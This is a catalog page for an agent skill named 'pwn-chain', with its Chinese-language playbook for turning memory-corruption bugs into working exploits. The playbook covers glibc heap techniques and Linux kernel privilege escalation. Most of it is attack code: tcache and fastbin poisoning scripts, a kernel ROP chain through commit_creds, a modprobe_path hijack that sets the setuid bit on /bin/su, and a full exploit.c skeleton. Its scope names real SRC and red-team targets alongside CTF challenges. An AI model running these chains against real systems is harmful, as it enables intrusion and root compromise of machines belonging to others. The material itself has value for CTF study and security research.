
Pwn Chain
- 158 installs
- 18.1k repo stars
- Updated August 4, 2026
- zhaoxuya520/reverse-skill
Chain glibc heap exploits (tcache poisoning, unsorted leaks, version-specific mitigations) when solving heap PWN binaries in CTF or security research.
About
pwn-chain is an agent skill packaged as procedural heap-exploitation knowledge for Linux glibc targets. It is aimed at solo builders and security hobbyists who ship or study native C binaries—CTF players, reverse engineers, and indie teams auditing allocator-heavy services—not marketers or no-code founders. Invoke it when a challenge or binary smells like heap corruption and you need a version-aware chain rather than guessing techniques from outdated writeups. The readme stresses that every technique binds to glibc era: tcache dominance from 2.27, tightened unsorted attacks by 2.29, safe-linking from 2.32, and hook removal by 2.34. It walks through leaking libc via unsorted-bin remnants, poisoning tcache heads, and adapting when PROTECT_PTR or missing hooks block naive one-gadget paths. Treat it as a structured playbook the agent follows while you drive pwntools I/O, not a turnkey autopwn script.
- GLIBC version matrix from 2.26 through 2.35+ (tcache, safe-linking, removed malloc/free hooks)
- Step-by-step tcache poisoning template for glibc 2.27–2.31 with leak-then-overwrite flow
- Explicit version checks via ./libc.so.6 and strings for reproducible exploit paths
- Chinese-language walkthrough aligned with classic heap menu challenge APIs (add/free/show)
- Documents post-2.34 pivot targets (FILE struct, exit handlers) when hooks are gone
Pwn Chain by the numbers
- 158 all-time installs (skills.sh)
- +28 installs in the week ending Jul 28, 2026 (Skillselion tracking)
- Ranked #874 of 2,203 Security skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/zhaoxuya520/reverse-skill --skill pwn-chainAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 158 |
|---|---|
| repo stars | ★ 18.1k |
| Last updated | August 4, 2026 |
| Repository | zhaoxuya520/reverse-skill ↗ |
What it does
Chain glibc heap exploits (tcache poisoning, unsorted leaks, version-specific mitigations) when solving heap PWN binaries in CTF or security research.
Files
从漏洞点到 Working Exploit (Pwn Chain)
适用范围
当任务属于以下场景时使用本 skill:
1. 拿到二进制 + 已知漏洞点 — 静态/审计/fuzz 已经找到溢出/UAF/double free,需要从触发到拿 shell 2. CTF 题已经本地通了,远程打不通 — 远端环境差异导致脚本失效,需要稳定化 3. 真实目标的二进制利用 — SRC / 红队场景下,已经识别到内存损坏漏洞,需要构造 RCE 4. Linux 内核驱动的 ioctl bug — 用户态触发,目标是提权到 root
前提:你已经知道"哪里炸了"。本 skill 不负责发现漏洞(那是 fuzzing / 审计),只负责"从漏洞点写出 exploit"。
与其他 skill 的分工
| 场景 | 用什么 |
|---|---|
| 识别 custom VM / anti-debug / 复杂 obfuscation | reverse-engineering/ |
| 从零打开二进制做静态分析 | ida-reverse/ 或 radare2/ |
| 有漏洞点,写 exploit 打通远程 | 本 skill |
| 把 pwn 拿到的 shell 整合进完整攻击链 | attack-chain/(下游) |
reverse-engineering/ 关注"理解程序在干什么"(模式识别、协议还原、解 CTF 题里的奇怪机制);本 skill 关注"把已经看懂的漏洞变成可执行的攻击"。两者经常配套使用,但分工清晰。
核心工作流
Step 1: 确认漏洞类型 + 保护机制
├─ checksec ./vuln(NX / Canary / PIE / RELRO / Fortify)
├─ file ./vuln + readelf -d ./vuln
├─ 漏洞分类:栈溢出 / 格式化字符串 / 堆 (UAF/DF/OF) / 整数 / 竞态 / 内核
└─ → 决定走哪个 references/
Step 2: 选择利用策略
├─ NX 关 + 无 ASLR → 直接 shellcode
├─ NX 开 + 给 libc → ret2libc / one_gadget
├─ NX 开 + 不给 libc → leak 后 libc-database 反查
├─ 堆 → 按 glibc 版本对应技术 (tcache/fastbin/unsorted/large)
└─ 内核 → commit_creds / modprobe_path / core_pattern
Step 3: 准备 libc + gadget
├─ libc-database:./find puts 0x6f0
├─ ROPgadget --binary ./libc.so.6 --only "pop|ret"
├─ one_gadget ./libc.so.6
└─ 计算 base:leak_addr - libc.sym['puts']
Step 4: 写 pwntools 模板(本地 process)
├─ context.binary = ELF('./vuln')
├─ p = process('./vuln') / p = gdb.debug('./vuln','b *main+xx')
├─ payload = cyclic(N) + p64(ret) + ...
└─ p.interactive()
Step 5: 本地通
├─ 反复 attach + 看寄存器 + 调 offset
├─ 用 pwndbg/GEF 的 vmmap / heap / bins / telescope
└─ 跑通后切 remote()
Step 6: 远程稳定化
├─ libc 偏移:用 leak 反查 libc-database,不要拍脑袋
├─ 栈对齐:16-byte 不对齐 → movaps 崩 → 加一个 ret gadget
├─ 远程网络延迟 → recvuntil 精确锚字符串,禁用模糊 sleep
├─ 远程缓冲:sendlineafter 比 sendline 更稳
├─ 堆喷成功率:放大 spray 数量 + 留 padding chunk 防合并
└─ 多次跑:写 while True 验证成功率 ≥ 95%典型场景
场景 1:远程 64 位二进制 (NX+PIE+canary, 给了 libc)
已有:./vuln(64-bit ELF, NX, PIE, canary)+ ./libc.so.6 + nc host port
漏洞:read(buf, 0x200) 但 buf 只有 0x40 字节 → 栈溢出
保护:canary 拦住,PIE 让 .text 随机化
策略:
1. 先 leak canary(栈/格式化字符串/部分读)
2. 再 leak 一个 libc 函数地址(puts@got)
3. 用 libc.address = leaked - libc.sym['puts'] 算 libc base
4. one_gadget ./libc.so.6 选一个约束能满足的 magic gadget
5. payload = padding + canary + saved_rbp + (pop_rdi + bin_sh + system) 或直接 one_gadget
6. 加一个 ret gadget 修栈对齐(关键!)完整模板参见 references/stack-pwn.md。
场景 2:Linux 内核驱动 ioctl 越界写 → 拿 root
已有:vmlinux + bzImage + initramfs.cpio.gz + 自定义 vuln.ko
漏洞:ioctl(0x1337, ptr) 里 copy_from_user 长度可控 → kernel heap overflow (kmalloc-64 slab)
保护:SMEP, SMAP, KASLR, KPTI
策略:
1. 改 init 脚本拿到 root shell(CTF)或先 leak KASLR base 再继续(真实)
2. 通过 /proc/kallsyms(可能限权)或未初始化堆喷 leak 内核基址
3. 在 kmalloc-64 slab 里喷 tty_struct / msg_msg / pipe_buffer
4. 覆盖 vtable 指针指向用户态 → 不行(SMEP),改走 stack pivot + 内核 ROP
5. ROP 链:prepare_kernel_cred(0) → commit_creds → swapgs+iretq → 用户态 execve("/bin/sh")
6. 或更省事:覆盖 modprobe_path 为 "/tmp/x",写一个 /tmp/x,然后触发 modprobe完整模板参见 references/kernel-pwn.md。
按需自举 (On-Demand Bootstrap)
工具依赖
| 工具 | 用途 | 安装方式 |
|---|---|---|
| pwntools | exploit 编写框架 | pip install pwntools |
| GEF | gdb 增强(推荐内核 + 用户态) | git clone https://github.com/bata24/gef (fork 维护活跃) |
| pwndbg | gdb 增强(堆调试体验最好) | git clone https://github.com/pwndbg/pwndbg && ./setup.sh |
| ROPgadget | gadget 搜索 | pip install ropgadget |
| Ropper | gadget 搜索(备选,支持架构多) | pip install ropper |
| one_gadget | libc magic gadget 查找 | gem install one_gadget(需 ruby) |
| libc-database | libc 指纹反查 | git clone https://github.com/niklasb/libc-database && ./get |
| qemu-system-x86_64 | 内核题调试 | apt install qemu-system-x86 |
| binwalk / cpio | initramfs 拆包 | apt install binwalk cpio |
| patchelf | 切换 libc 版本 | apt install patchelf |
Bootstrap 检查脚本
# 一键检查 + 安装核心工具
for t in pwntools ropgadget ropper; do
pip show $t >/dev/null 2>&1 || pip install $t
done
command -v one_gadget >/dev/null || gem install one_gadget
[ -d ~/tools/libc-database ] || git clone https://github.com/niklasb/libc-database ~/tools/libc-database
[ -d ~/tools/libc-database/db ] || (cd ~/tools/libc-database && ./get ubuntu debian)
[ -d ~/tools/pwndbg ] || (git clone https://github.com/pwndbg/pwndbg ~/tools/pwndbg && cd ~/tools/pwndbg && ./setup.sh)同一工具自动安装失败 2 次后
停止重试,输出结构化手动安装步骤(pip 源 / gem 源 / git 国内镜像 / apt 源)让用户确认。
路由上下文
上游入口: skills/SKILL.md(总控)、routing.md 触发条件: 有二进制 + 已识别漏洞点,需要写 exploit
上游 skill(先用它们再回到本 skill):
- 还没看懂二进制在干什么 →
reverse-engineering/ - 需要静态详细分析 →
ida-reverse/ - 快速侦察确认架构/保护机制 →
radare2/
下游 skill(拿到 shell 之后):
- 整合进完整攻击链(横向、提权、持久化)→
attack-chain/
子模块导航:
- 栈类利用(ret2libc / ret2csu / one_gadget / 栈对齐)→
references/stack-pwn.md - 堆类利用(tcache / fastbin / unsorted / large bin / FILE struct)→
references/heap-pwn.md - 内核 pwn(kROP / SMEP-SMAP 绕过 / KASLR leak / modprobe_path)→
references/kernel-pwn.md
注意事项
- 不要在本地跑通就交差 — 本地 libc / ASLR / 网络环境都和远程不同,必须在 remote 模式下连续跑 20 次以上验证稳定性
- libc 版本必须确认 — 用 leak + libc-database 反查,不要假设是 Ubuntu 22.04 默认 libc
- 栈对齐是 64 位的常见坑 —
movaps xmm0, [rsp]在 rsp 未 16 字节对齐时段错误,加一个空retgadget 解决 - 堆利用对 glibc 版本极敏感 — tcache 在 2.27 引入,safe-linking 在 2.32 引入,2.34 移除 hooks,每个版本利用路径不同
- 内核 pwn 必须先确认 cpu 标志 — qemu 启动参数里有没有 +smep +smap +pku 直接决定 ROP 链怎么写
- KASLR leak 一次就够 — 拿到一个内核地址后所有地址都算偏移,不要反复 leak
堆类利用 (Heap Pwn)
glibc 版本差异(必看)
堆利用的所有技术都跟 glibc 版本强绑定。先确认版本:
./libc.so.6 | head -1
# GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.9) stable release version 2.31.
# 或 strings
strings ./libc.so.6 | grep "GNU C Library"| glibc 版本 | 关键变化 | 影响 |
|---|---|---|
| 2.26 及之前 | 无 tcache | unsorted/fastbin 是主战场 |
| 2.27 | 引入 tcache | tcache poisoning 极其简单 |
| 2.29 | unsorted bin unlink 加固(chunk size 检查) | unsorted bin attack 被砍 |
| 2.31 | tcache 多重检查(key 字段) | tcache poisoning 略复杂 |
| 2.32 | safe-linking(fd 指针异或 PROTECT_PTR) | 需要先 leak heap base |
| 2.34 | 移除 __free_hook / __malloc_hook | 改走 FILE struct / exit handlers |
| 2.35+ | 进一步加固 | 同 2.34,FILE 路径仍可用 |
tcache poisoning (2.27 - 2.31)
原理
tcache 是 per-thread cache,每个 size class 一条链表,单链表(只有 fd)。 double free 检查在 2.29 之前只看链表头是不是自己,不看遍历。
利用模板(2.27 - 2.31)
from pwn import *
p = process('./vuln')
libc = ELF('./libc.so.6')
def add(idx, size, data=b'a'):
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'idx: ', str(idx).encode())
p.sendlineafter(b'size: ', str(size).encode())
p.sendafter(b'data: ', data)
def free(idx):
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'idx: ', str(idx).encode())
def show(idx):
p.sendlineafter(b'> ', b'3')
p.sendlineafter(b'idx: ', str(idx).encode())
return p.recvline().strip()
# === Step 1: leak libc base ===
# 申请大于 tcache 范围的 chunk(>0x408),free 进 unsorted bin,残留 main_arena 指针
for i in range(8):
add(i, 0x80)
add(8, 0x80) # 防止合并
for i in range(7):
free(i)
free(7) # 第 8 个进 unsorted bin,fd/bk 指向 main_arena+96
add(9, 0x80) # 切回来一部分,保留 fd
leak = u64(show(9).ljust(8, b'\x00'))
libc.address = leak - 0x3ebca0 # main_arena+96 偏移,glibc 2.27 amd64
log.success(f'libc = {hex(libc.address)}')
# === Step 2: tcache poisoning → 写 __free_hook ===
add(10, 0x30)
add(11, 0x30)
free(10)
free(11)
# 用 UAF 改 chunk11 的 fd 指向 __free_hook
edit(11, p64(libc.sym['__free_hook']))
add(12, 0x30) # 取出 chunk11
add(13, 0x30, p64(libc.sym['system'])) # 取出来的就是 __free_hook 地址,写 system
# 触发:free 一个内容为 "/bin/sh\x00" 的 chunk
add(14, 0x30, b'/bin/sh\x00')
free(14)
p.interactive()safe-linking 绕过 (2.32+)
原理:tcache/fastbin 的 fd 写入时被 PROTECT_PTR 异或:
PROTECT_PTR(pos, ptr) = (pos >> 12) ^ ptr
绕过:
1. 必须先 leak 一个堆地址(heap base)
2. 计算 obfuscated 值:fake_fd_obf = (chunk_addr >> 12) ^ target
3. 写进去def protect_ptr(pos, ptr):
return (pos >> 12) ^ ptr
# leak heap base(unsorted bin 残留 / tcache fd 残留)
heap_base = leaked_heap & ~0xfff
# poisoning
fake_fd = protect_ptr(heap_base + chunk_off, target_addr)
edit(chunk_id, p64(fake_fd))fastbin attack (传统,2.26 及之前为主)
关键点:
1. fastbin 单链表(只有 fd),无 size 检查除了 chunk size 必须匹配
2. 2.27 后 tcache 优先,fastbin 只有 tcache 满了才用
3. 仍然需要伪造一个看起来像 chunk 的内存(size 字段 = 真实 chunk size,± 一些)# double free
add(0, 0x60)
add(1, 0x60)
free(0)
free(1)
free(0) # fastbin: 0 → 1 → 0
# 把 fd 改成 fake chunk(要求 fake_addr + 8 处的 size 字节匹配 0x70)
add(2, 0x60, p64(fake_addr))
add(3, 0x60)
add(4, 0x60) # 取出 fake_addr 处的 chunkunsorted bin attack(仅 2.28 及之前)
原理:写任意地址为 main_arena+88
2.29 起加了 bck->fd == victim 的检查,绕不过
用途:覆盖 global_max_fast 让小 chunk 也走 fastbin → 配合 fastbin attack# 申请 unsorted size chunk
add(0, 0x100)
add(1, 0x100) # 防止 top consolidation
free(0)
# UAF 改 bk 指针为 target - 0x10
edit(0, p64(0) + p64(target - 0x10))
add(2, 0x100) # 从 unsorted 取出 → unlink → main_arena+88 写到 targetlarge bin attack
原理:large bin 比 unsorted 多一层 fd_nextsize / bk_nextsize
2.32 起也加了 chunk size 检查,但仍可用于改 global_max_fast、_IO_list_all 等
高级技巧,常用于 House of Husk 等组合拳House of XXX 速查
| 名称 | 适用版本 | 核心思想 |
|---|---|---|
| House of Force | 2.28 及之前 | 改 top chunk size 为巨大值 → malloc 任意地址 |
| House of Lore | 全版本 | 伪造 small bin 链 → 返回任意地址 |
| House of Orange | 2.23-2.30 | unsorted attack 改 _IO_list_all 触发 _IO_flush_all_lockp |
| House of Roman | 2.23-2.26 | 12-bit 爆破 + fastbin attack to __malloc_hook |
| House of Einherjar | 全版本 | 伪造 prev_size + PREV_INUSE=0 → backward consolidation |
| House of Botcake | 2.27+ | tcache + unsorted bin 组合,绕过 tcache double free 检查 |
| House of Husk | 2.27+ | 改 printf 的 hook table(__printf_function_table) |
| House of Cat | 2.34+ | _IO_wfile_seekoff vtable 利用,针对无 hook 版本 |
| House of Apple | 2.34+ | _IO_wfile_jumps + setcontext gadget |
真实利用步骤(通用 4 步)
Step 1: leak heap base
- 申请 chunk → free 到 tcache(2.32+ 保留 obfuscated fd) → show → 反推 heap
- 或:申请大 chunk → free 到 unsorted → 切回 → show fd
Step 2: leak libc base
- 大 chunk free 到 unsorted bin,fd/bk 残留 main_arena 地址
- show → leak → libc.address = leak - main_arena_offset
Step 3: 控 IP
- 2.27-2.33: tcache/fastbin poisoning → 写 __free_hook 或 __malloc_hook
- 2.34+: FILE struct 攻击(_IO_2_1_stdout_ / stderr),改 vtable → _IO_wfile_jumps
- 或:劫持 exit handlers(__exit_funcs / tls_dtor_list)
Step 4: getshell
- free_hook = system, free("/bin/sh") → shell
- 2.34+: setcontext + 53 gadget → rop chain in heap → execvelibc 2.34+ 没有 hook 之后的替代路径
FILE struct 攻击(_IO_2_1_stdout_ / _IO_2_1_stderr_)
目标:当程序调用 puts/printf 时,最终走到 _IO_file_xsputn → _IO_OVERFLOW → 调用 vtable
劫持:
1. 覆盖 _IO_2_1_stderr_ 的 vtable 指针指向伪造的 vtable
2. 伪造 vtable,让 __overflow 字段指向 system 或 setcontext
3. 让 fp(FILE*)本身的前 8 字节是 "/bin/sh\x00"(作为 system 的 rdi)
触发:任何 puts/printf/abort/exit 都会冲刷 stderrExit handlers (__exit_funcs / tls_dtor_list)
原理:__run_exit_handlers 遍历 __exit_funcs 链表,调用每个 dtor
劫持:改链表节点的 func 指针指向 system,arg 指向 "/bin/sh"
注意:2.34+ 加了 PTR_DEMANGLE,需要 leak tls 里的 fs:[0x30] guard 值才能伪造tls_dtor_list(更现代)
__call_tls_dtors 遍历,结构类似,同样要绕过 PTR_DEMANGLE
适用:程序退出时会走,比 FILE 攻击更通用pwndbg / GEF 堆调试命令
# pwndbg
heap # 显示当前 arena 所有 chunk
bins # 显示 tcache / fastbin / unsorted / small / large bins
tcache # 单独看 tcache
find_fake_fast <addr> <size> # 找一个能用作 fake chunk 的 fd 写入点
vis_heap_chunks # 可视化堆布局
# GEF
heap chunks
heap bins fast
heap bins tcache
heap chunk <addr>典型 pwntools 模板(heap menu 题)
from pwn import *
context.binary = elf = ELF('./vuln')
libc = ELF('./libc.so.6')
p = process('./vuln') if not args.REMOTE else remote('host', 1337)
# IO 包装
def menu(choice):
p.sendlineafter(b'choice:', str(choice).encode())
def add(idx, size, data=b'\n'):
menu(1)
p.sendlineafter(b'idx:', str(idx).encode())
p.sendlineafter(b'size:', str(size).encode())
if data != b'\n':
p.sendafter(b'data:', data)
def free(idx):
menu(2)
p.sendlineafter(b'idx:', str(idx).encode())
def show(idx):
menu(3)
p.sendlineafter(b'idx:', str(idx).encode())
return p.recvline().strip()
def edit(idx, data):
menu(4)
p.sendlineafter(b'idx:', str(idx).encode())
p.sendafter(b'data:', data)
# === 后续根据漏洞类型选择技术栈 ===注意事项
- glibc 版本是第一性问题 — 同一个二进制配 2.27 libc 和 2.34 libc,利用路径完全不同
- tcache 容量 = 7(每个 size class)— 喷射够 7 个才会溢出到 unsorted/fastbin
- chunk size = 用户请求 + 0x10 头部,向 0x10 对齐(不算 0x10 头时实际可写超出 0x8 因为下一个 chunk 的 prev_size 被复用)
- 远程堆喷不稳 — 服务端 fork 模型每次连接 brk/mmap 可能不同,要做随机化测试
- 不要在 attack 链中遗留 unsorted 残留 — main_arena 指针出现在意外的 chunk 里会让后续 show 输出错乱
- safe-linking 错误率 — 计算 PROTECT_PTR 时记得是
pos >> 12,pos 是要写入的地址不是要指向的地址
内核 Pwn (Kernel Pwn)
准备环境
典型内核题包:
kernel/
├── bzImage # 压缩内核镜像
├── vmlinux # 未压缩内核(带符号,用于 gdb)
├── initramfs.cpio.gz / rootfs.img
├── vuln.ko # 漏洞驱动
├── run.sh # qemu 启动脚本
└── (.config) # 编译配置,可选拆 initramfs 改 init 脚本
mkdir initramfs && cd initramfs
zcat ../initramfs.cpio.gz | cpio -idm
# 或 newc 格式:
# cpio -idm < ../initramfs.cpio
# 改 init 拿 root(CTF 学习用,真实题目通常 setuid 1000)
sed -i 's|setuidgid 1000|setuidgid 0|g' init
# 或注释掉 user 切换那一行
# 重新打包
find . | cpio -o --format=newc | gzip > ../initramfs.cpio.gz
cd ..提取 vmlinux(如果只给了 bzImage)
# 用 extract-vmlinux 脚本(kernel 源码 scripts/)
/usr/src/linux/scripts/extract-vmlinux ./bzImage > vmlinuxQEMU 启动参数模板
#!/bin/sh
qemu-system-x86_64 \
-m 256M \
-kernel ./bzImage \
-initrd ./initramfs.cpio.gz \
-cpu kvm64,+smep,+smap \
-append "console=ttyS0 nokaslr quiet oops=panic panic=1" \
-monitor /dev/null \
-nographic \
-no-reboot \
-s # 开 gdb 端口 1234关键参数对应的保护:
| 参数 | 含义 | 影响利用 |
|---|---|---|
+smep | 内核态不能执行用户态代码 | 必须用 ROP,不能跳到用户态 shellcode |
+smap | 内核态不能访问用户态数据 | rop 链不能放用户态,要放内核态(堆喷 / msgsnd) |
+pku | Protection Keys | 类似 SMAP |
nokaslr | 禁用 KASLR | 函数地址固定 |
kaslr | 启用 KASLR | 必须 leak |
pti=on | KPTI(Meltdown 修复) | 用户态返回需要 swapgs_restore_regs_and_return_to_usermode |
调试
# 终端 1
./run.sh # 带 -s
# 终端 2
gdb vmlinux
(gdb) target remote :1234
(gdb) b vulnerable_ioctl
(gdb) cGEF 推荐用 bata24 维护的 fork,对内核结构体有专门 pretty-print。
漏洞类型分流
| 漏洞 | 典型来源 | 利用基线 |
|---|---|---|
| 内核栈溢出 | copy_from_user 长度可控 | 栈金丝雀 + KASLR → ROP |
| 内核堆溢出 | kmalloc slab 越界写 | slab 喷射 + 覆盖相邻对象 |
| UAF | refcount 错误 / 双 free | 重新申请同 slab → 控制释放对象 |
| 整数溢出 | size 计算溢出 → 小分配大拷贝 | 实际是溢出,同上 |
| TOCTOU | 用户态指针二次解引用 | userfaultfd / FUSE 拖时间 |
| race | 双线程同时 ioctl | 卡时序窗口 |
| 任意读写 | 已经是终极原语 | 直接改 cred / modprobe_path |
slab 喷射(堆 pwn 核心)
把可控大小的内核对象喷到漏洞 slab,覆盖目标对象。
| slab size | 喷射对象 | 优点 |
|---|---|---|
| kmalloc-64 / 96 | seq_operations | 有函数指针,覆盖即控 IP |
| kmalloc-1024 | tty_struct | 有 ops 指针,结构精美 |
| kmalloc-4096 | pipe_buffer | 现代版主力,6.x 仍有效 |
| 任意 size | msg_msg | 大小可控(8 - 4096+),sysv msgsnd 控数据 |
| kmalloc-128 | user_key_payload | keyctl 系列接口 |
msg_msg 喷射示例
// 用户态触发
int msqid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
struct {
long mtype;
char mtext[0x80 - 0x30]; // 加上 msg_msg 头 0x30 = kmalloc-128
} msg = { .mtype = 0x1337 };
memset(msg.mtext, 'A', sizeof(msg.mtext));
msgsnd(msqid, &msg, sizeof(msg.mtext), 0); // 喷到 kmalloc-128
// ... 触发漏洞覆盖
msgrcv(msqid, &msg, sizeof(msg.mtext), 0, 0); // 读回看是不是被改了 → leak提权路径
1. commit_creds(prepare_kernel_cred(0)) ROP
经典且通用。前提:能控 RIP(栈溢出 / vtable 劫持)。
// 用户态 ROP 链
uint64_t rop[] = {
pop_rdi, // pop rdi; ret
0, // arg: 0
prepare_kernel_cred, // → 返回 root cred 到 rax
pop_rdi, // pop rdi; ret
/* 占位,下面 mov 会覆盖 */ 0,
/* mov rdi, rax; ... ; ret */ 0, // 转 rax→rdi(部分需要专门 gadget)
commit_creds, // 设置当前进程 cred = root
swapgs_restore_regs_and_return_to_usermode + 22, // 跳过 push 序列
0, 0, // rax, rdi 占位
user_rip, // 用户态返回函数(保存了 cs/ss)
user_cs, user_rflags, user_rsp, user_ss,
};关键 gadget(要在 vmlinux 里 ROPgadget 找):
ROPgadget --binary vmlinux --only "pop|ret" | grep 'pop rdi'
ROPgadget --binary vmlinux --only "mov|ret" | grep 'mov rdi, rax'返回用户态前必须保存 cs/ss/rflags/rsp:
void save_state() {
__asm__(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"pushfq; popq %2\n"
"movq %%rsp, %3\n"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags), "=r"(user_rsp));
}
void shell() { system("/bin/sh"); }2. modprobe_path 改 /tmp/x(最省事)
原理:
- 内核全局变量 modprobe_path 默认 "/sbin/modprobe"
- 当 execve 一个不认识 magic 的文件时,内核调用 modprobe_path 以 root 执行
- 改成 "/tmp/x",写 /tmp/x(chmod +x),触发未知 magic 执行
适用:有任意写原语,但不一定能 ROP// 1. 准备 payload
system("echo -e '#!/bin/sh\nchmod +s /bin/su' > /tmp/x");
system("chmod +x /tmp/x");
// 2. 准备触发文件
system("echo -e '\\xff\\xff\\xff\\xff' > /tmp/trigger");
system("chmod +x /tmp/trigger");
// 3. 漏洞写:把 modprobe_path 改成 "/tmp/x\x00"
arbitrary_write(modprobe_path_addr, "/tmp/x\x00");
// 4. 触发
system("/tmp/trigger");
// 内核 root 跑 /tmp/x,做了 chmod +s /bin/su
// 5. 利用 setuid
system("/bin/su");modprobe_path 地址来源:vmlinux 里符号,或 /proc/kallsyms(如果 kptr_restrict=0)。
3. core_pattern hijack
类似思想:/proc/sys/kernel/core_pattern 控制 coredump 处理程序
改成 "|/tmp/x %P",让进程崩溃时调用
缺点:需要触发 coredump,比 modprobe_path 笨重4. 内核 ROP 关 SMEP/SMAP
如果就是想跳回用户态 shellcode(学习目的),可以 ROP 关 cr4 的 bit:
// CR4: SMEP = bit 20, SMAP = bit 21
// 关 SMEP+SMAP 后,jmp 到用户态 shellcode 才能跑
uint64_t rop[] = {
pop_rdi,
0x6f0, // CR4 期望值(去掉 SMEP/SMAP 位)
mov_cr4_rdi, // "mov cr4, rdi; pop rbp; ret" 之类
0,
user_shellcode_addr, // 跳过去(如果还没关 SMEP 这步会失败)
};实际上真实利用基本不走这条路 — 直接 commit_creds ROP 更短更稳。
KASLR leak 渠道
| 来源 | 限制 | 备注 |
|---|---|---|
| /proc/kallsyms | kptr_restrict=0 才有真地址 | CTF 常常开放 |
| /sys/module/.../sections/.text | 同上 | 模块基址 |
| dmesg | dmesg_restrict=0 才能读 | oops 信息泄漏地址 |
| 内核栈未初始化读 | 漏洞本身要能任意读 | 残留地址 |
| msg_msg + 漏洞 leak | 喷射后 OOB read | 通用 |
| 旁路(Meltdown/Spectre) | KPTI 修了 Meltdown | 不通用 |
| SIDT/SGDT 用户态指令 | 老内核可能漏 | 现代基本封了 |
// 经典:从 /proc/kallsyms 读
FILE *f = fopen("/proc/kallsyms", "r");
char line[256];
unsigned long commit_creds = 0;
while (fgets(line, sizeof(line), f)) {
if (strstr(line, " commit_creds")) {
commit_creds = strtoul(line, NULL, 16);
break;
}
}
unsigned long kbase = commit_creds - 0xXXXXX; // 偏移看 vmlinux完整 exploit 模板(用户态 + ioctl 触发 + ROP 提权 + shell)
// exploit.c — 内核 pwn 通用骨架
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
static unsigned long user_cs, user_ss, user_rflags, user_rsp;
static void save_state(void) {
__asm__ volatile(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"pushfq; popq %2\n"
"movq %%rsp, %3\n"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags), "=r"(user_rsp)
:: "memory");
}
static void win(void) {
if (getuid() == 0) {
puts("[+] root!");
system("/bin/sh");
} else {
puts("[-] not root");
}
exit(0);
}
// === KASLR base(先 leak 或 nokaslr 时直接写死) ===
#define KBASE_DEFAULT 0xffffffff81000000UL
#define OFF_COMMIT_CREDS 0x0xxxxx
#define OFF_PREPARE_KERNEL_CRED 0x0xxxxx
#define OFF_POP_RDI 0x0xxxxx
#define OFF_MOV_RDI_RAX 0x0xxxxx
#define OFF_SWAPGS_RESTORE 0x0xxxxx
int main(void) {
save_state();
// 1. leak KASLR base(这里假设 /proc/kallsyms 可读,或自己写一个 leak primitive)
unsigned long kbase = leak_kbase();
unsigned long prepare_kernel_cred = kbase + OFF_PREPARE_KERNEL_CRED;
unsigned long commit_creds = kbase + OFF_COMMIT_CREDS;
unsigned long pop_rdi = kbase + OFF_POP_RDI;
unsigned long mov_rdi_rax = kbase + OFF_MOV_RDI_RAX;
unsigned long swapgs_restore = kbase + OFF_SWAPGS_RESTORE + 22;
// 2. 构造 ROP(在用户栈或在喷出来的 fake 栈上)
unsigned long *rop = mmap((void*)0x100000, 0x1000,
PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANON|MAP_FIXED, -1, 0);
int i = 0;
rop[i++] = pop_rdi;
rop[i++] = 0;
rop[i++] = prepare_kernel_cred;
rop[i++] = mov_rdi_rax;
rop[i++] = commit_creds;
rop[i++] = swapgs_restore;
rop[i++] = 0; // rax
rop[i++] = 0; // rdi
rop[i++] = (unsigned long)win;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = (unsigned long)(rop + 100); // 临时 user rsp,可指 mmap 高处
rop[i++] = user_ss;
// 3. 触发漏洞,让内核 RIP 跳到 rop[0]
int fd = open("/dev/vuln", O_RDWR);
trigger(fd, rop); // 题目相关:ioctl / write / read
return 0;
}学习参考:CVE-2022-0185
漏洞:fs/fs_context.c 中 legacy_parse_param 长度计算有符号 / 无符号混淆
→ kmalloc 堆缓冲区溢出,size 任意,data 任意
为什么是好的学习样本:
1. 不需要 root 触发(unprivileged user namespace)
2. 溢出大小完全可控
3. 公开有完整 writeup + PoC
4. 综合了:user_ns 利用、msg_msg 喷射、UAF 后重占用、跨缓存利用
学习路径:
1. 编译带 CONFIG_USER_NS=y 的内核
2. 跑 Crusaders of Rust 的原版 PoC:https://www.openwall.com/lists/oss-security/2022/01/18/7
3. 看 willsroot.io 的官方 writeup(PortSwigger 收录的版本)
4. 手动重写:把 msg_msg 喷射改成 pipe_buffer 喷射版本(练习不同 slab 路径)
5. 加上 KASLR leak(原版用 /proc/kallsyms,挑战版禁用后改 OOB read)主要技术点对应本文档的章节:
- 漏洞类型 → "内核堆溢出"
- 喷射对象 → "msg_msg 喷射"
- 提权方法 → "commit_creds ROP" 或 "modprobe_path"
- KASLR leak → "/proc/kallsyms" 或 "msg_msg + 漏洞 leak"
注意事项
- CONFIG_RANDOM_KSTACK_OFFSET / RANDOMIZE_KSTACK_OFFSET_DEFAULT 让内核栈基址每次 syscall 都随机偏移 0-1023,影响所有依赖固定栈偏移的利用
- CONFIG_SLAB_FREELIST_RANDOM / HARDENED 让 slab 内对象分配随机化,喷射成功率下降,要多喷
- CONFIG_STATIC_USERMODEHELPER 把 modprobe_path 设为只读
static_usermodehelper_path,modprobe 攻击失效 - KPTI 让用户态/内核态页表分离,返回用户态必须走
swapgs_restore_regs_and_return_to_usermode这个 trampoline,不能直接 swapgs+iretq - FG-KASLR(function-granular KASLR)让函数级别随机化,需要 leak 多个符号反推每个函数偏移
- CET / IBT(Intel 控制流强制)让间接跳转必须落在 ENDBR 指令,部分 gadget 失效
- 不要在内核里调 printk 输出测试 — 串口 IO 会改变时序,破坏 race;用一个 magic 寄存器值(rcx=0xdeadbeef)+ gdb watch 来调试
栈类利用 (Stack Pwn)
触发条件与前置检测
checksec 解读
checksec --file=./vuln
# 或 pwntools 自带
python -c "from pwn import *; print(ELF('./vuln'))"| 输出字段 | 影响 | 应对 |
|---|---|---|
